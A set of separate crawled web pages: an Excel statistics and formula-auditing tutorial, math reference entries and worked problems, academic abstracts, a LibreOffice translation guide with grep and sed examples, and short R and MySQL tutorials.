Example The animation below shows how to calculate the quartiles (percentiles 25, 50 and 75) of grades for every student in a course. Observe that if we use a cell reference for the k argument, putting a relative frequency in that cell (0.25 for first quartile, 0.5 for second quartile and 0.75 for third quartile) we get the correspondent percentile.
### VAR.P function
The VAR.P function calculates the variance of several numbers. Its syntax is VAR.P(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the variance.
Example The animation below shows how to calculate the variance of grades for every student in a course. Observe that the variance is well calculated even when there are blank cells in the range.
### STDEV.P function
The STDEV.P function calculates the standard deviation of several numbers. Its syntax is STDEV.P(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the standard deviation.
Example The animation below shows how to calculate the standard deviation of grades for every student in a course. Observe that you can also calculate the standard deviation applying the square root to the variance.
### SKEW function
The SKEW function calculates the skewness coefficient of several numbers. Its syntax is SKEW(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the skewness coefficient. Excel 2010 uses the following formula to calculate skewness:
where $\bar x$ is the mean and $s$ is the standard deviation.
Example The animation below shows how to calculate the skewness coefficient of grades for every subject in a course.
### KURT function
The KURT function calculates the kurtosis coefficient of several numbers. Its syntax is KURT(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the kurtosis coefficient. Excel 2010 uses the following formula to calculate kurtosis:
where $\bar x$ is the mean and $s$ is the standard deviation.
Example The animation below shows how to calculate the kurtosis coefficient of grades for every subject in a course.
## Other functions
Other common functions are the following.
### ISBLANK function
The ISBLANK function checks if a value is null or a cell is blank. Its syntax is ISBLANK(value) where value is a value or a cell reference.
Example The animation below shows how to check if some cells are blank or not. Observe that cell A3 is not blank because it contains a blank space.
### ISERROR function
The ISBLANK function checks if a value or cell is an error. Its syntax is ISERROR(value) where value is a value or a cell reference.
Example The animation below shows how to check if some cells have errors.
## Auditing formulas
When Excel can not perform an operation or when there is an error in a formula, it shows an error. Some common errors are
• #NAME? error. Occurs when Excel does not recognize text in a formula. Usually happens when you misspell the name of a function.
• #VALUE! error. Occurs when a formula has the wrong type of argument. Usually happens when you try to performs mathematical operations with cells that does not contain numbers.
• #DIV/0! error. Occurs when a formula tries to divide a number by 0 or an empty cell.
• #REF! error. Occurs when a formula refers to a cell that is not valid. Usually happens when a formula refers to a deleted cell.
• #NUM! error. Occurs when a formula or function contains invalid numeric values. For example when trying to calculate the square root of a negative number.
• #N/A error Occurs when a value is not available to a function or formula.
In complex formulas it could be difficult to detect the error. Fortunately, Excel provide some tools for tracking down errors.
### Tracing formulas
The simplest procedure to trace formulas is double click a cell with a formula. This will show the cells referenced by the formula marked in different colours.
Another possibility is to trace precedents or dependents references. If you select a cell with a formula and click the Trace Precedents button of the Formula Auditing panel on the ribbon’s Formulas tab, Excel will show arrows to the cells that affect the value of the selected cell. And if click the Trace Dependents button of the Formula Auditing panel on the ribbon’s Formulas tab, Excel will show arrows to the cells that are affected by selected cell. To remove the arrow simply click the Remove Arrows button of the Formula Auditing panel on the ribbon’s Formulas tab.
Example The animation below shows how to trace a formula to calculate the price of product without discount, with discount but without taxes and with discount and taxes.
### Error checking
If some formula have an error, you can check where the error come from selecting the cell with the error and clicking the Error Checking button of the Formula Auditing panel on the ribbon’s Formulas tab. This will display a dialog with the formula expression, an explanation of the error and several options. If the error is in the selected cell you can click the option Show Calculation Steps to evaluate the formula (see the section Formula evaluation). But if the error is in a cell that affects the selected cell you can click the option Trace Error. This will show red arrows to cells where the error come from.
Example The animation below shows how to check an error in a formula to calculate the price of product without discount, with discount but without taxes and with discount and taxes.
### Formula evaluation
In general, you can evaluate any formula, even if it has no error, selecting the cell with the formula and clicking the Formula Evaluation button of the Formula Auditing panel on the ribbon’s Formulas tab. This will display a dialog where you can evaluate the formula step by step.
Example The animation below shows how to check an error in a formula to calculate the price of product without discount, with discount but without taxes and with discount and taxes.
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2018-12-11 22:15:55
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https://zbmath.org/?q=an:1114.65370
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zbMATH — the first resource for mathematics
Examples
Geometry Search for the term Geometry in any field. Queries are case-independent. Funct* Wildcard queries are specified by * (e.g. functions, functorial, etc.). Otherwise the search is exact. "Topological group" Phrases (multi-words) should be set in "straight quotation marks". au: Bourbaki & ti: Algebra Search for author and title. The and-operator & is default and can be omitted. Chebyshev | Tschebyscheff The or-operator | allows to search for Chebyshev or Tschebyscheff. "Quasi* map*" py: 1989 The resulting documents have publication year 1989. so: Eur* J* Mat* Soc* cc: 14 Search for publications in a particular source with a Mathematics Subject Classification code (cc) in 14. "Partial diff* eq*" ! elliptic The not-operator ! eliminates all results containing the word elliptic. dt: b & au: Hilbert The document type is set to books; alternatively: j for journal articles, a for book articles. py: 2000-2015 cc: (94A | 11T) Number ranges are accepted. Terms can be grouped within (parentheses). la: chinese Find documents in a given language. ISO 639-1 language codes can also be used.
Operators
a & b logic and a | b logic or !ab logic not abc* right wildcard "ab c" phrase (ab c) parentheses
Fields
any anywhere an internal document identifier au author, editor ai internal author identifier ti title la language so source ab review, abstract py publication year rv reviewer cc MSC code ut uncontrolled term dt document type (j: journal article; b: book; a: book article)
Numerical solution of nonlinear Volterra integral equations of the second kind by using Chebyshev polynomials. (English) Zbl 1114.65370
Summary: Orthogonal Chebyshev polynomials are developed to approximate the solutions of linear and nonlinear Volterra integral equations. Properties of these polynomials and some operational matrices are first presented. These properties are then used to reduce the integral equations to a system of linear or nonlinear algebraic equations. Numerical examples illustrate the pertinent features of the method.
MSC:
65R20 Integral equations (numerical methods) 45D05 Volterra integral equations 45G10 Nonsingular nonlinear integral equations
Full Text:
References:
[1] Brunner, H.: Collocation method for Volterra integral and related functional equations. (2004) · Zbl 1059.65122 [2] Delves, L. M.; Mohamed, J. L.: Computational methods for integral equations. (1985) · Zbl 0592.65093 [3] Burton, T. A.: Volterra integral and differential equations. (2005) · Zbl 1075.45001 [4] Chihara, T. S.: An introduction to orthogonal polynomials. (1978) · Zbl 0389.33008 [5] Maleknejad, K.; Kajani, M. T.; Mahmoudi, Y.: Numerical solution of Fredholm and Volterra integral equation of the second kind by using Legendre wavelets. Kybernetes 32, No. 9 -- 10, 1530-1539 (2003) · Zbl 1059.65127 [6] Maleknejad, K.; Aghazadeh, N.: Numerical solution of Volterra integral equations of the second kind with convolution kernel by using Taylor-series expansion method. Appl. math. Comput. 161, 915-922 (2005) · Zbl 1061.65145 [7] Sezer, M.: Taylor polynomial solution of Volterra integral equations. Int. J. Math. edu. Sci. technol. 25, No. 5, 625 (1994) · Zbl 0823.45005 [8] Yalsinbas, S.: Taylor polynomial solutions of nonlinear Volterra -- Fredholm integral equations. Appl. math. Comput. 127, 195-206 (2002) · Zbl 1025.45003 [9] Rashed, M. T.: Lagrange interpolation to compute the numerical solutions of differential, integral and integro-differential equations. Appl. math. Comput. 151, 869-878 (2004) · Zbl 1048.65133
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2016-05-01 09:54:56
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http://crypto.stackexchange.com/questions?page=132&sort=newest
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# All Questions
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### Which is better ECDHE with TLS 1.0
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### AES-CBC and IV — Encrypting multiple blocks of a file with the same IV?
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### Messages exchanged between Bob Alice are encrypted safe?
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### Computing IV for CBC from PBKDF2 + HKDF
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### How to Mathematically Prove the Bilinear Pairing Properties [closed]
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2016-06-25 17:42:40
|
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|
https://www.emathhelp.net/en/calculators/algebra-2/hyperbola-calculator/
|
# Hyperbola Calculator
This calculator will find either the equation of the hyperbola from the given parameters or the center, foci, vertices, co-vertices, (semi)major axis length, (semi)minor axis length, latera recta, length of the latera recta, focal parameter, focal length, eccentricity, linear eccentricity, directrices, asymptotes, x-intercepts, y-intercepts, domain, and range of the entered hyperbola. Also, it will graph the hyperbola. Steps are available.
Related calculators: Parabola Calculator, Circle Calculator, Ellipse Calculator, Conic Section Calculator
If the calculator did not compute something or you have identified an error, or you have a suggestion/feedback, please write it in the comments below.
Find the center, foci, vertices, co-vertices, major axis length, semi-major axis length, minor axis length, semi-minor axis length, latera recta, length of the latera recta, focal parameter, focal length, eccentricity, linear eccentricity, directrices, asymptotes, x-intercepts, y-intercepts, domain, and range of the hyperbola $x^{2} - 4 y^{2} = 36$.
## Solution
The equation of a hyperbola is $\frac{\left(x - h\right)^{2}}{a^{2}} - \frac{\left(y - k\right)^{2}}{b^{2}} = 1$, where $\left(h, k\right)$ is the center, $a$ and $b$ are the lengths of the semi-major and the semi-minor axes.
Our hyperbola in this form is $\frac{\left(x - 0\right)^{2}}{36} - \frac{\left(y - 0\right)^{2}}{9} = 1$.
Thus, $h = 0$, $k = 0$, $a = 6$, $b = 3$.
The standard form is $\frac{x^{2}}{6^{2}} - \frac{y^{2}}{3^{2}} = 1$.
The vertex form is $\frac{x^{2}}{36} - \frac{y^{2}}{9} = 1$.
The general form is $x^{2} - 4 y^{2} - 36 = 0$.
The linear eccentricity is $c = \sqrt{a^{2} + b^{2}} = 3 \sqrt{5}$.
The eccentricity is $e = \frac{c}{a} = \frac{\sqrt{5}}{2}$.
The first focus is $\left(h - c, k\right) = \left(- 3 \sqrt{5}, 0\right)$.
The second focus is $\left(h + c, k\right) = \left(3 \sqrt{5}, 0\right)$.
The first vertex is $\left(h - a, k\right) = \left(-6, 0\right)$.
The second vertex is $\left(h + a, k\right) = \left(6, 0\right)$.
The first co-vertex is $\left(h, k - b\right) = \left(0, -3\right)$.
The second co-vertex is $\left(h, k + b\right) = \left(0, 3\right)$.
The length of the major axis is $2 a = 12$.
The length of the minor axis is $2 b = 6$.
The focal parameter is the distance between the focus and the directrix: $\frac{b^{2}}{c} = \frac{3 \sqrt{5}}{5}$.
The latera recta are the lines parallel to the minor axis that pass through the foci.
The first latus rectum is $x = - 3 \sqrt{5}$.
The second latus rectum is $x = 3 \sqrt{5}$.
The length of the latera recta is $\frac{2 b^{2}}{a^{2}} = 3$.
The first directrix is $x = h - \frac{a^{2}}{c} = - \frac{12 \sqrt{5}}{5}$.
The second directrix is $x = h + \frac{a^{2}}{c} = \frac{12 \sqrt{5}}{5}$.
The first asymptote is $y = - \frac{b}{a} \left(x - h\right) + k = - \frac{x}{2}$.
The second asymptote is $y = \frac{b}{a} \left(x - h\right) + k = \frac{x}{2}$.
The x-intercepts can be found by setting $y = 0$ in the equation and solving for $x$ (for steps, see intercepts calculator).
x-intercepts: $\left(-6, 0\right)$, $\left(6, 0\right)$
The y-intercepts can be found by setting $x = 0$ in the equation and solving for $y$: (for steps, see intercepts calculator).
y-intercepts: $\left(0, -3\right)$, $\left(0, 3\right)$
Standard form: $\frac{x^{2}}{6^{2}} - \frac{y^{2}}{3^{2}} = 1$A.
Vertex form: $\frac{x^{2}}{36} - \frac{y^{2}}{9} = 1$A.
General form: $x^{2} - 4 y^{2} - 36 = 0$A.
First focus-directrix form: $\left(x + 3 \sqrt{5}\right)^{2} + y^{2} = \frac{5 \left(x + \frac{12 \sqrt{5}}{5}\right)^{2}}{4}$A.
Second focus-directrix form: $\left(x - 3 \sqrt{5}\right)^{2} + y^{2} = \frac{5 \left(x - \frac{12 \sqrt{5}}{5}\right)^{2}}{4}$A.
Graph: see the graphing calculator.
Center: $\left(0, 0\right)$A.
First focus: $\left(- 3 \sqrt{5}, 0\right)\approx \left(-6.708203932499369, 0\right)$A.
Second focus: $\left(3 \sqrt{5}, 0\right)\approx \left(6.708203932499369, 0\right)$A.
First vertex: $\left(-6, 0\right)$A.
Second vertex: $\left(6, 0\right)$A.
First co-vertex: $\left(0, -3\right)$A.
Second co-vertex: $\left(0, 3\right)$A.
Major (transverse) axis length: $12$A.
Semi-major axis length: $6$A.
Minor (conjugate) axis length: $6$A.
Semi-minor axis length: $3$A.
First latus rectum: $x = - 3 \sqrt{5}\approx -6.708203932499369$A.
Second latus rectum: $x = 3 \sqrt{5}\approx 6.708203932499369$A.
Length of the latera recta: $3$A.
Focal parameter: $\frac{3 \sqrt{5}}{5}\approx 1.341640786499874$A.
Eccentricity: $\frac{\sqrt{5}}{2}\approx 1.118033988749895$A.
Linear eccentricity: $3 \sqrt{5}\approx 6.708203932499369$A.
First directrix: $x = - \frac{12 \sqrt{5}}{5}\approx -5.366563145999495$A.
Second directrix: $x = \frac{12 \sqrt{5}}{5}\approx 5.366563145999495$A.
First asymptote: $y = - \frac{x}{2} = - 0.5 x$A.
Second asymptote: $y = \frac{x}{2} = 0.5 x$A.
x-intercepts: $\left(-6, 0\right)$, $\left(6, 0\right)$A.
y-intercepts: $\left(0, -3\right)$, $\left(0, 3\right)$A.
Domain: $\left(-\infty, -6\right] \cup \left[6, \infty\right)$A.
Range: $\left(-\infty, \infty\right)$A.
|
2022-01-18 22:07:08
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https://works.bepress.com/albertopepe/8/
|
This article presents a study that compares detected structural communities in a coauthorship network to the socioacademic characteristics of the scholars that compose the network. The coauthorship network was created from the bibliographic record of an overt interdisciplinary research group focused on sensor networks and wireless communication. The popular leading eigenvector community detection algorithm was employed to assign a structural community to each scholar in the network. Socioacademic characteristics were gathered from the scholars and include such information as their academic department, academic affiliation, country of origin, and academic position. A Pearson's \$\chi^2\$ test, with a simulated Monte Carlo, revealed that structural communities best represent groupings of individuals working in the same academic department and at the same institution. A generalization of this result indicates that, contrary to the common conception of a multi-institutional interdisciplinary research group, collaboration is primarily driven by scholar expertise and physical proximity.
|
2017-08-22 17:21:31
|
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http://sci-gems.math.bas.bg/jspui/handle/10525/2292
|
Please use this identifier to cite or link to this item: http://hdl.handle.net/10525/2292
Title: Stochastic Optimization in Robust Statistic Authors: Vandev, D. Keywords: robust estimators of locationleast median of squaresstochastic approximation algorithmMonte - Carlo study Issue Date: 2005 Publisher: Institute of Mathematics and Informatics Bulgarian Academy of Sciences Citation: Pliska Studia Mathematica Bulgarica, Vol. 17, No 1, (2005), 323p-335p Abstract: The paper studies a stochastic optimization algorithm for computing of robust estimators of location proposed by Vandev (1992). A random approximation of the exact solution was proposed which is much cheaper in time and easy to program. Two examples are presented. Besides standard estimators of location like trimmed mean also robust regressions (LMS and LTS) introduced by Rousseeuw and Leroy are considered. MATLAB programs are included. Description: 2000 Mathematics Subject Classification: 62J05, 62G35 URI: http://hdl.handle.net/10525/2292 ISSN: 0204-9805 Appears in Collections: 2005 Volume 17
Files in This Item:
File Description SizeFormat
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2022-09-29 07:38:55
|
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https://www.enotes.com/homework-help/n-5n-2-n-2-2-find-limit-possible-sequence-794157
|
# `a_n = (5n^2)/(n^2+2)` Find the limit (if possible) of the sequence.
`a_n = (5n^2)/(n^2+2)`
To determine the limit of this sequence, let n approach infinity.
`lim_(n->oo) a_n`
`=lim _(n->oo) (5n^2)/(n^2+2)`
To solve, factor out the `n^2` in the denominator.
`=lim_(n->oo) (5n^2)/(n^2(1+2/n^2))`
Cancel the common factor.
`= lim_(n->oo) 5/(1+2/n^2)`
Then, apply the rule `lim_(x->c) (f(x))/(g(x)) = (lim_(x->c) f(x))/(lim_(x->c) g(x))` .
`= (lim_(n->oo)5)/(lim_(n->oo) (1+2/n^2))`
Take note that the limit of a constant is equal to itself `lim_(x->c) a = a.`
Also, if the rational function has a form `a/x^m` , where m represents any positive integer, its limit as x approaches infinity is zero `lim_(x->oo) (a/x^m) = 0` .
` (lim_(n->oo)5)/(lim_(n->oo) (1+2/n^2))`
`= 5/1`
`=5`
Therefore, the limit of the given sequence is 5.
Approved by eNotes Editorial Team
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2022-11-26 09:34:54
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https://wiki.documentfoundation.org/UI_and_Help_files_Content_Guide
|
UI and Help files Content Guide
Other languages:
This guide details the content of the UI and Help files regarding the elements that have or have not to be translated, such as variables or xml elements used in the .po files.
Unique terms
Some words have to be unique in your translation files otherwise it will break the product or risk data loss for the user. These terms are:
• Style names such as those that you can find in the sw/source/ui/utlui.po file
• Function names in Calc (such as STRLIST_FUNCTION_NAME) that you can find in the formula/source/core/resource.po file
• Math symbols that you can find in the starmath/source.po file. Note also that Math symbols must not contain spaces. For example the perthousand math symbol must not be translated per thousand or noelement must not be translated no element.
• Index entries in the online help such as <bookmark_value\>Editing;Help Files\<\/bookmark_value\>, even if they are not in the same files, as it will break the display of the index entry.
• the | symbol in Windows installer strings
Variables and symbols in the UI files
While it is hard to state any hard rules about variables and symbols in the UI files, as LibreOffice uses a mix of technologies in different parts of the source code, this is an attempt at writing down some rules.
• Some files contain a | at the end of the strings. This sign is mandatory, as a runtime error in the installer will occur if it is left out. Here is an example from instsetoo_native/inc_openoffice/windows/msi_languages.po:
Up one level|
Create New Folder|
• $and % most of the time introduce a variable that will be replaced in the user interface, and the word or number following the$ or % must not be translated. Examples:
%PRODUCTNAME ''This will display the name of the product''
Change object title of %1 ''%1 will be replaced by the name of the object''
Internal error $(ARG1). ''$(ARG1) will be replaced by the internal error number''
If $is used as a currency as in the following string, though, it is not a variable, and the currency can freely be translated if appropriate in the situation: Returns the price per$100 face value of a security with an odd last period
• \n indicates a new line in the UI. You should try to organize the string in your translation to fit the line break but do not remove it or the string will be truncated in the dialog box. Example:
#1 Verify Impress is running \n
#2 For Bluetooth user, enable "Preferences"-"LibreOffice Impress"-"General"-"Enable remote control"\n
#3 For WiFi user, tick "Preferences"-"LibreOffice"-"Advanced"-"Enable Experimental Features" \n
• {x}, where 'x' is a number, is a variable used in the Impress Remote app. It must not be changed.
• <X>, where X is a word in UPPERCASE letters, is in most cases a variable which should not be translated. Some examples are <FIELD>, <FIELDNAME>, <LOGICOPERATOR> and <VALUE>. Ask on the l10n@global.libreoffice.org mailing list about the specific case if you are in doubt.
• [n], where n is a number, indicates a parameter which value will be expanded in the final string. The number must not be changed or translated.
• [x], where x is a word (perhaps with a digit in the end), often indicate a parameter whose value will be expanded in the final string and whose name must not be touched or translated (e.g. [ProductName]), but sometimes it is a string that should in fact be translated (e.g. the [M] and [T] in the user interface of the auto-correct settings). Ask on the l10n@global.libreoffice.org mailing list about the specific case if you are in doubt.
• {xxx}, where xxx is a string, marks a part of a string which will be omitted if the [parameter] values inside them have no values at the time of display.
Example:
The file [2][3] is being held in use {by the following process: Name: [4], ID: [5], Window Title:
[6]}. Close that application and retry.
In this case, if either the variables [5] or [6] has no value at the time of display, the substring "by the following process: Name: [4], ID: [5], Window Title: [6]" will be left out and not displayed. In that case the final string would not make sense, but that is a different issue. :-)
XML elements in Help files
The help files contain many XML elements in them that makes it difficult to translate for newcomers. We detail them here, so you have no questions when you do your translation. Be aware, that sometimes elements are nested in other elements. The element contains also attributes that we mention in the description of each element.
The best way to treat these elements is to copy and paste them into your translation, so you make sure that you do not forget a part of them or make a typo. Then you translate the content between the two flags, taking into account the nested elements too.
<ahelp></ahelp>
This is an element that is present in the help directory. However, the information it contains is displayed in the UI as an extended tooltip when it is activated in LibreOffice options tab. This element is <ahelp>the extended tooltip</ahelp>. Example:
<ahelp hid=\".\">This menu contains commands for editing the contents of the current document.</ahelp>
This element has two attributes that you do not have to translate:
• hid (as in the example above)
• visibility
<alt></alt>
This element gives an alternative text to a graphic. It is often nested into the <image> element, example:
<alt id=\"alt_id3159119\">Icon</alt>
• Here you have to translate the word Icon, nothing else.
• It also contains xml-lang=\"en-US\" for localized graphics, where you have to replace the en-US by your language's ISO code.
<bookmark_value></bookmark_value>
This element is used for the index entries of the online help. The first word is the main entry, separated by a semicolon. The second word represent the second level entry, for example:
<bookmark_value>page styles; headers</bookmark_value><bookmark_value>page styles;footers</bookmark_value>
<bookmark_value>file names in headers/footers</bookmark_value><bookmark_value>changing;dates,automatically</bookmark_value>
<bookmark_value>dates;updating automatically</bookmark_value><bookmark_value>automatic date updates</bookmark_value>
• Sometimes it happens that the word in the sources has a different meaning in English but not in your language, like header and title. If you find such entry like <bookmark_value>Header;Title</bookmark_value>, you can just remove it from your translation, as it will have no effect.
• Most of the times several entries are grouped in the same paragraph.
• There should not be two similar entries in the help directory because it will break the index display in the help UI.
<caseinline></caseinline>
This element allows to switch the content depending on the platform (Windows, Linux or Mac). The text displayed will then be different. It is often nested in <switchinline> or <defaultinline> elements. Example:
Press <switchinline select=\"sys\"> <caseinline select=\"MAC\">Command</caseinline><defaultinline>Ctrl</defaultinline></switchinline>
and click the tab of the sheet where you want to insert the contents.
• in this example you only have to translate the string Command between the two caseinline tags. If you use a different key than Ctrl on your keyboard in your language, you should additionally change it as well (like in German, where the keyboard key is labelled "Strg") however it belongs to the <defaultinline> tags.
• this element has one attribute: select as in the example above. This attribute do not have to be translated.
<defaultinline></defaultinline>
This element contains the default text that will be displayed, when there is a possible switch of content depending on the platform. As seen in the previous element, it is often nested with <switchinline> and <caseinline> elements. Example:
Press <switchinline select=\"sys\"> <caseinline select=\"MAC\">Command</caseinline><defaultinline>Ctrl</defaultinline></switchinline> and click the tab of the sheet where you want to insert the contents.
• this element has no attribute.
<embedvar></embedvar>
This element has no content that needs localization between its tags. But it may be nested too. Example:
<embedvar href=\"text/scalc/00/00000004.xhp#optional\"/>
• this element has one attribute: href as in the example above
<emph></emph>
This element allows to emphasize the string between its tags, so you always have to translate the content in between. Example:
Choose <emph>Format - Merge Cells - Merge and Center Cells</emph>
• this element has no attribute
<image></image>
This element is for the pictures embedded in the files. By itself, it does not contain localizable content, but other elements such as <alt> that contains localizable strings are always nested in it. Example:
<image id=\"img_id3153714\" src=\"sc/res/sf01.png\" width=\"0.1665in\" height=\"0.1665in\"><alt id=\"alt_id3153714\">Icon</alt></image>
In this example, you see the <alt></alt> element nested where Icon has to be translated.
This element has four attributes that are not to be translated:
• id indicates the reference of the picture
• src indicates the picture location
• width indicates the width of the picture, the metric used can be different (cm for example) but it has no effect on the picture display
• height indicates the height of the picture, the metric used here can also be different
<item></item>
This element describes a special formatting applied to the content between its tags.
Examples:
To accept the completion, press <item type=\"keycode\">Enter</item> or a cursor key.
In this example, you see that the special formatting is applied to emphasize a keyboard entry.
In <item type=\"menuitem\"><switchinline select=\"sys\"><caseinline select=\"MAC\">
%PRODUCTNAME - Preferences</caseinline><defaultinline>Tools - Options</defaultinline>
</switchinline> - $[officename] - General </item>you can set from which year a two-digit number entry is recognized as 20xx. In this more complex example, you can see that the special formatting is used to emphasize a menu entry. • type is the only attribute of this element. It determines the type of entry to emphasize. <link></link> This element indicates a link to another help file or to the web. Examples: <variable id=\"datedif\"><link href=\"text/scalc/01/func_datedif.xhp\">DATEDIF</link></variable> In this example, the content that will be displayed is located in the scalc/01/func_datedif.xhp. You only need to translate DATEDIF. <link href=\"text/scalc/main0210.xhp\" name=\"Page View Object Bar\">Page View Object Bar</link> In this example, the content after the name attribute has also to be translated. This element has four attributes: • href is the reference to the file. It has no localizable content. • name is a completely unused attribute. Localizing it will have no effect whatsoever. • target is the target when it is about a web content. It has no localizable content. • type is the type of content to be displayed. It has no localizable content. <switchinline></switchinline> As seen above with the elements <caseinline></caseinline> and <defaultinline></defaultinline>, this element allows to switch the content depending on the platform (Windows, Linux or Mac). It has no translatable content by itself, but always contains the latter nested elements. Example: Press <switchinline select=\"sys\"> <caseinline select=\"MAC\">Command</caseinline><defaultinline>Ctrl</defaultinline> </switchinline> and click the tab of the sheet where you want to insert the contents. • select is its only attribute. It has no localizable content. <variable></variable> This element determines a content that is reused in the files. The content between its tags has to be localized. Example: <variable id=\"kopfundfusszeilentext\"><ahelp hid=\".uno:EditHeaderAndFooter\">Allows you to define and format headers and footers.</ahelp></variable> This element has two attributes: • id is the name of the variable and must not be translated. Its name could give indication on the type of content, unfortunately most of the time, it is in German. • visibility where the content has not to be translated. Search and manage .po files There are several operations that you can execute directly on your .po files. They are text files and some scripts such as the translate toolkit can be used to manipulate them. As the Search field on Weblate is not very effective, using the grep command line instructions under Linux will give you much more significant results when you search for a string in multiple files. This part contains a brief description of some scripts, and examples with grep and sed commands to help you to manipulate your files. You have first to download the files from Weblate and use the cd command to be in the directory you want to work on (ui or help). Translate Toolkit Most of the time the Translate Toolkit packages are available for your distro. In case it is not or it is an old version, you can get it from here [1]. If you have any problems installing or using those scripts, do not hesitate to ask for help on the l10n mailing list. Several scripts from the Translate Toolkit are implemented in Weblate, like the Failing Checks, which allow you to check your translation. Some, however, may be relevant for you: • poterminology lets you extract a terminology file from the .po/pot files. Before beginning a translation project, it is a great help to have the most important or ambiguous words filled and translated in a glossary. You will be able to upload this file under a Weblate project too. The syntax and options are explained on the site. • posegment will help to increase the quality of your TM by segmenting the po files based on sentence level. The syntax and options can be found on the site. • pocompendium let you create one big po file from a directory of po files. This is useful if you have for example have split a large file to distribute it to a team of translators. The syntax and options are explained on the site. • posplit let you extract three .po files respectively containing translated strings, untranslated strings and fuzzy strings. The syntax and options are explained on the site. Using grep to find strings The grep command is used under Linux, macOS or Unix-like systems to search through text files, or to search the given file for lines containing a match to the given strings or words. The command will display the line matching the search. • The simplest syntax is: grep 'word' filename.po Example: sophie@sophie:~/libo_ui-fr$ grep 'Browse' accessibility/source/helper.po
returns
msgid "Browse"
Here we are telling the grep command to find the word Browse in the helper.po file, which is in the subdirectory source of the accessibility directory.
• This is not very useful, because you have to know the directory where the string is located, while LibreOffice has so many. So we will add an option that will look recursively into all the directories, contained in the main one. This is the -r option.
The syntax is:
grep -r 'word' directory
Example:
sophie@sophie:~/libo_ui-fr$grep -r 'Browse' accessibility/ returns accessibility/source/helper.po:msgid "Browse" this looks easier! The output gives you the path to the string • To force to ignore the case of the word (for example to search case-insensitive for Browse, browse or BROWSE), you will add the -i option. The syntax is: grep -r -i 'word' directory • Now, we want to retrieve the line number of the string in the output too. This is the -n option The syntax is: grep -r -i -n 'word' directory Let me show you an example on our own directory with all the options we know: sophie@sophie:~/libo_ui-fr$ grep -r -i -n 'Browse' accessibility/
the output is:
accessibility/source/helper.po:23:"RID_STR_ACC_NAME_BROWSEBUTTON\n"
accessibility/source/helper.po:25:msgid "Browse"
You can see, that the second entry contains the word to translate.
• If you want your search to match only the string you have entered, you can add the -w option. For example to search for is and not retrieve this or his, etc.
• If you want to search for several words matching only what you have entered, the syntax is:
egrep -w -r -n 'word1|word2' directory/
Example:
sophie@sophie:~/libo_ui-fr$egrep -w -r -n '~File|_File' sw/ the output is: sw/uiconfig/swriter/ui.po:313:msgid "_File System" sw/uiconfig/swriter/ui.po:1649:msgid "_File name" sw/source/ui/frmdlg.po:563:msgid "~File name" sw/source/ui/misc.po:591:#~ msgid "~File system" sw/source/ui/dialog.po:169:msgid "~File name" sw/source/ui/index.po:522:msgid "~File" Note: we use egrep to match a particular regular expression. The e is for extended grep but you can use the -E option for that as well: grep -E -r -n 'word1|word2' directory/ • If you have an escaping character in your search, like an apostrophe (e.g. child's book in English or l'objet in French), the simplest way to overcome that is to enclose the word to search with double quotes instead of single ones, like in this example: sophie@sophie:~/libo_ui-fr$ grep -r -n "l'objet" sw/
sw/source/ui/utlui.po:4106:msgstr "Cliquer sur l'objet"
sw/source/ui/utlui.po:4133:msgstr "Souris sur l'objet"
sw/source/ui/utlui.po:4151:msgstr "Souris quitte l'objet"
sw/source/ui/utlui.po:4626:#~ msgstr "Renommer l'objet : "
sw/source/core/undo.po:641:msgstr "Supprimer l'objet"
• the usual regular expressions applied to grep (*: match zero or more of the preceding character or expression ; ^: match expression at the start of a line, as in ^A, etc.)
Using sed to modify your files
Like grep, sed is a powerful command that let you modify the content of your .po files very easily. Sed stands for Stream EDitor. For example, if you want to substitute Header by Title on a file, the syntax will be:
sed 's/Header/Title/g' <file.po
• first you have the name of the command s for substitute
• then you have the original word separated by / delimiters
• after that the word to substitute to the original
• g is used for global and will substitute all the occurrences in the file, and not only the first occurrence of the searched word
• then the file where the substitution takes place
• note the presence of the single quotes too.
Sed uses regular expressions to manage the instructions, but the syntax will still remain the same as above. We will not detail all the syntax of the lines given bellow, but they are quite simple expressions you can use safely on your files.
• Remove comments from a file
Example of the file where you want to remove the # my comment comment in the utlui.po
# my comment
#. dnChg
#: 04180400.xhp
Enter the following in the sw/source/ui directory:
sophie@sophie:~/libo_ui-fr/sw/source/ui$sed '/^#\ /d' utlui.po > tt that will create the file "tt" in that directory, containing the strings where all the "#" at the beginning of the line (^) followed by nothing are deleted (the d in the syntax). To get the tt file turn into utlui.po again: sophie@sophi:~/libo_ui-fr/sw/source/ui$ mv tt utlui.po
and now it's a cleaned file!
• Indicate the line of substitution
Taking again our first example, you want to work only on a given line, 306 here:
sed '306 s/Header/Title/g' <file.po
so now you know how to grep first on the file to find the string and then use the sed command to correct it
• you will find more information on the gnu site about the delimiters, the regular expressions and syntax.
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2023-03-26 19:11:07
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https://www.econometrics-with-r.org/5-htaciitslrm.html
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This book is in Open Review. We want your feedback to make the book better for you and other students. You may annotate some text by selecting it with the cursor and then click the on the pop-up menu. You can also see the annotations of others: click the in the upper right hand corner of the page
# 5 Hypothesis Tests and Confidence Intervals in the Simple Linear Regression Model
This chapter, continues our treatment of the simple linear regression model. The following subsections discuss how we may use our knowledge about the sampling distribution of the OLS estimator in order to make statements regarding its uncertainty.
These subsections cover the following topics:
• Testing Hypotheses regarding regression coefficients.
• Confidence intervals for regression coefficients.
• Regression when $X$ is a dummy variable.
• Heteroskedasticity and Homoskedasticity.
The packages AER (Kleiber & Zeileis, 2017) and scales (Wickham, 2018) are required for reproduction of the code chunks presented throughout this chapter. The package scales provides additional generic plot scaling methods. Make sure both packages are installed before you proceed. The safest way to do so is by checking whether the following code chunk executes without any errors.
library(AER)
library(scales)
### References
Kleiber, C., & Zeileis, A. (2017). AER: Applied Econometrics with R (Version 1.2-5). Retrieved from https://CRAN.R-project.org/package=AER
Wickham, H. (2018). scales: Scale Functions for Visualization (Version 1.0.0). Retrieved from https://CRAN.R-project.org/package=scales
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2019-01-22 04:29:26
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https://www.tutorialspoint.com/can-a-number-be-used-to-name-a-mysql-table-column
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# Can a number be used to name a MySQL table column?
MySQLMySQLi Database
Yes, we can include a number for column name in MySQL. We need to use the symbol backtick, which is as follows
( )
To understand, we will make a table with the help of CREATE command. Let us create a table −
mysql> CREATE table NumberColumnDemo
-> (
-> 123 varchar(100)
-> );
Query OK, 0 rows affected (0.51 sec)
Above, I have created a column name as a number with the help of backtick symbol.
